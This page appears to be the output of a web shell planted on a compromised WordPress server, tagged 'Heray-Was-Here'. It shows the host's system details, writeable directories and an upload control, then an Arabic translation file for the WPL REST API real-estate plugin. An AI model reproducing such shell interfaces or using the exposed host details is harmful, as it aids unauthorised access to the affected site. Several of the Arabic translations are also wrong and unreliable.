Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/bamagocr/wp-content/plugins/wpl-api/admin/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/bamagocr/wp-content/plugins/wpl-api/admin/languages/ar_AR.po
# Copyright (C) 2019 Realtyna
# This file is distributed under the same license as the WPL REST API plugin.
msgid ""
msgstr ""
"Project-Id-Version: WPL REST API 1.0.6\n"
"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/wpl-api\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"POT-Creation-Date: 2019-08-01T14:14:27+00:00\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"X-Generator: WP-CLI 2.2.0\n"
"X-Domain: wpl-api\n"

#. Plugin Name of the plugin
#: wpl_api.php:62
msgid "WPL REST API"
msgstr ""

#. Plugin URI of the plugin
msgid "https://realtyna.com/api/"
msgstr ""

#. Description of the plugin
msgid "Working with Realtyna REST API. Realtyna APIs are HTTP-based RESTful APIs. API request and response bodies are formatted in JSON. To get started: activate the WPL REST API plugin and then go to your WPL REST API Settings page to set up your TOKEN"
msgstr ""

#. Author of the plugin
msgid "Realtyna"
msgstr ""

#. Author URI of the plugin
msgid "https://realtyna.com"
msgstr ""

#: wpl_api.php:106
msgid "First you should install WPL PRO."
msgstr ""

#: src/models/core/Settings/SettingBuilder.php:16
msgid "Price Range"
msgstr "مجال السعر"

#: src/models/core/Settings/SettingBuilder.php:24
msgid "Living Area (Sqft)"
msgstr "منطقة سكنية"

#: src/models/core/Settings/SettingBuilder.php:32
msgid "Keywords"
msgstr "الكلمات الرئيسة"

#: src/models/core/Settings/SettingBuilder.php:180
msgid "Listing Type"
msgstr "نوع العرض"

#: src/models/core/Settings/SettingBuilder.php:181
msgid "Property Type"
msgstr "نوع العقار"

#: src/models/core/Settings/SettingBuilder.php:182
msgid "Bedrooms"
msgstr "غرف النوم"

#: src/models/core/Settings/SettingBuilder.php:183
msgid "Bathrooms"
msgstr "الحمامات"

#: src/models/core/Settings/SettingBuilder.php:184
msgid "Appliances"
msgstr "الأجهزة"

#: src/models/core/Settings/SettingBuilder.php:185
msgid "Neighborhood"
msgstr "حي"

#: src/models/core/Properties/Properties.php:103
#: src/models/core/Settings/SettingBuilder.php:66
msgid "For Sale"
msgstr "للبيع" 

#: src/models/core/Properties/Properties.php:103
#: src/models/core/Settings/SettingBuilder.php:66
msgid "For Rent"
msgstr "للإيجار"

#: src/models/core/Properties/Properties.php:103
#: src/models/core/Settings/SettingBuilder.php:66
msgid "Vacation Rental"
msgstr "للايجار اليومي" 

#: src/models/core/Settings/SettingBuilder.php:84
msgid "Apartment"
msgstr "شقة"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "Villa"
msgstr "فيلا"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "Office"
msgstr "مكتب. مقر. مركز"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "Land"
msgstr "أرض"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "Duplex"
msgstr "دوبلكس"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "Workshop"
msgstr "ورشة عمل"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "Garden"
msgstr "حديقة"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "Showroom"
msgstr "قاعة عرض"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "Block"
msgstr "منع"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "restaurants"
msgstr "المطاعم"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "restaurants"
msgstr "المطاعم"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "Tower"
msgstr "برج"

#: src/models/core/Settings/SettingBuilder.php:84
msgid "Farm"
msgstr "مزرعة"

#: src/models/core/Settings/SettingBuilder.php:172
msgid "Any"
msgstr "أي"

#: src/models/core/Settings/SettingBuilder.php:173
msgid "Any"
msgstr "أي"

#: src/models/core/Settings/SettingBuilder.php:93
msgid "ANY"
msgstr "أي"

#: src/models/core/Settings/SettingBuilder.php:107
msgid "ANY"
msgstr "أي"

#: src/models/core/Settings/SettingBuilder.php:186
msgid "Tags"
msgstr "الكلمات"

#: src/models/core/User/UserPasswordReset.php:27
msgid "Some or all of required filed entries are invalid."
msgstr "بعض او كل المدخلات غير صالحة"

#: src/models/core/User/UserPasswordReset.php:38
msgid "Phone number is wrong."
msgstr "رقم التلفون غير صحيح"

#: src/models/core/User/UserPasswordReset.php:67
#: src/models/core/User/UserChangePassword.php:83
msgid "Password changed successfully."
msgstr "تم تغيير الايميل بنجاح"

#: src/models/core/User/UserChangePassword.php:52
msgid "Sms Code is incorrect."
msgstr "رمز الرسالة غير صحيحة"

#: src/models/core/User/UserChangePassword.php:58
#: src/models/core/User/UserMapper.php:47
msgid "password and the repeat are not matching."
msgstr "الرقم السري لا يتطابق"

#: src/models/core/User/UserChangePassword.php:70
msgid "Email does not exist."
msgstr "لايوجد ايميل "

#: src/models/core/User/UserMapper.php:37
msgid "The Email is already registered. Try a different Email address."
msgstr "هذا الايميل مسجل به, حاول تسخدم ايميل اخر"

#: src/models/core/User/UserMapper.php:67
msgid "User is created successfully."
msgstr "تم انشاء المستخدم بنجاح"

#: src/models/core/User/UserAuth.php:41
msgid "Authentication failed."
msgstr "المصادقة لم تنجح"

#: src/models/core/User/UserAuth.php:51
msgid "Authentication passed successfully."
msgstr "المصادقة تمت بنجاح"

#: src/models/core/Properties/PropertiesSaveSearch.php:120
msgid "The search is saved successfully."
msgstr "البحث تم حفظه بنجاح"

#: src/models/core/Properties/PropertiesSaveSearch.php:123
#: src/models/core/Properties/Properties.php:441
msgid "The entered name %s already exists."
msgstr "الاسم المدخل %s موجود"

#: src/models/core/Properties/PropertiesSaveSearch.php:126
#: src/models/core/Properties/PropertiesSaveSearch.php:147
#: src/models/core/Properties/PropertiesSaveSearch.php:192
#: src/models/core/Properties/PropertiesFavorite.php:59
#: src/models/core/Properties/PropertiesFavorite.php:81
msgid "User id does not exist."
msgstr "رقم المستخدم غير موجود"

#: src/models/core/Properties/PropertiesSaveSearch.php:141
msgid "Saved search is removed successfully."
msgstr "العرض المحفوظ تم ازالته بنجاح"

#: src/models/core/Properties/PropertiesSaveSearch.php:144
msgid "Save search could be found."
msgstr "البحث المحفوظ يمكن ايجاده"

#: src/models/core/Properties/PropertiesSaveSearch.php:187
#: src/models/core/Properties/PropertiesSaveSearch.php:190
#: src/models/core/Properties/Properties.php:71
#: src/models/core/Properties/Properties.php:77
#: src/models/core/Properties/Properties.php:81
#: src/models/core/Properties/Properties.php:194
#: src/models/core/Properties/Properties.php:223
#: src/models/core/Properties/Properties.php:227
#: src/models/core/Properties/Properties.php:231
#: src/models/core/Properties/Properties.php:279
#: src/models/core/Properties/Properties.php:308
#: src/models/core/Properties/Properties.php:312
#: src/models/core/Properties/Properties.php:407
#: src/models/core/Properties/Properties.php:413
#: src/models/core/Properties/Properties.php:417
#: src/models/core/Properties/Properties.php:505
#: src/models/core/Properties/PropertiesListFavorite.php:97
#: src/models/core/Properties/PropertiesListFavorite.php:101
msgid "No property could be found."
msgstr "لايوجد عقار مناسب"

#: src/models/core/Properties/Properties.php:108
#: src/models/core/Properties/Properties.php:112
msgid "No property types could be found."
msgstr "لايوجد عقار مناسب"

#: src/models/core/Properties/Properties.php:140
#: src/models/core/Properties/Properties.php:144
msgid "No Sort Options could be found."
msgstr "لايوجد عقار مناسب"

#: src/models/core/Properties/Properties.php:337
msgid "The entered listing already exists in favorite list"
msgstr "العرض المدخل موجود في القائمة المفضلة"

#: src/models/core/Properties/Properties.php:359
msgid "Property with this id %s could be found in favorite list."
msgstr "العرض %s ممكن ان تجده في القائمة المفضلة"

#: src/models/core/Properties/Properties.php:458
msgid "No saved search could be found."
msgstr "لايوجد بحث محفوظ"

#: src/models/core/Properties/Properties.php:479
msgid "Sorry something went wrong."
msgstr "عفوا , حدث خطأ في شيئ ما"

#: src/models/core/Properties/Properties.php:500
msgid "Listing with this ID: %s could not be found."
msgstr "العرض بهذا الرقم: %s لايمكن ايجاده"

#: src/models/core/Properties/Properties.php:526
msgid "Listing with this MLS ID: %s could not be found."
msgstr "العرض بهذا الرقم: %s لايمكن ايجاده"

#: src/models/core/Properties/PropertiesFavorite.php:67
msgid "Property added in favorite list successfully."
msgstr "العقار تم اضافته الى القائمة المفضلة بنجاح"

#: src/models/core/Properties/PropertiesFavorite.php:94
msgid "The listing is removed from Favorites successfully."
msgstr "العقار تم ازالته من القائمة المفضلة بنجاح"

Hry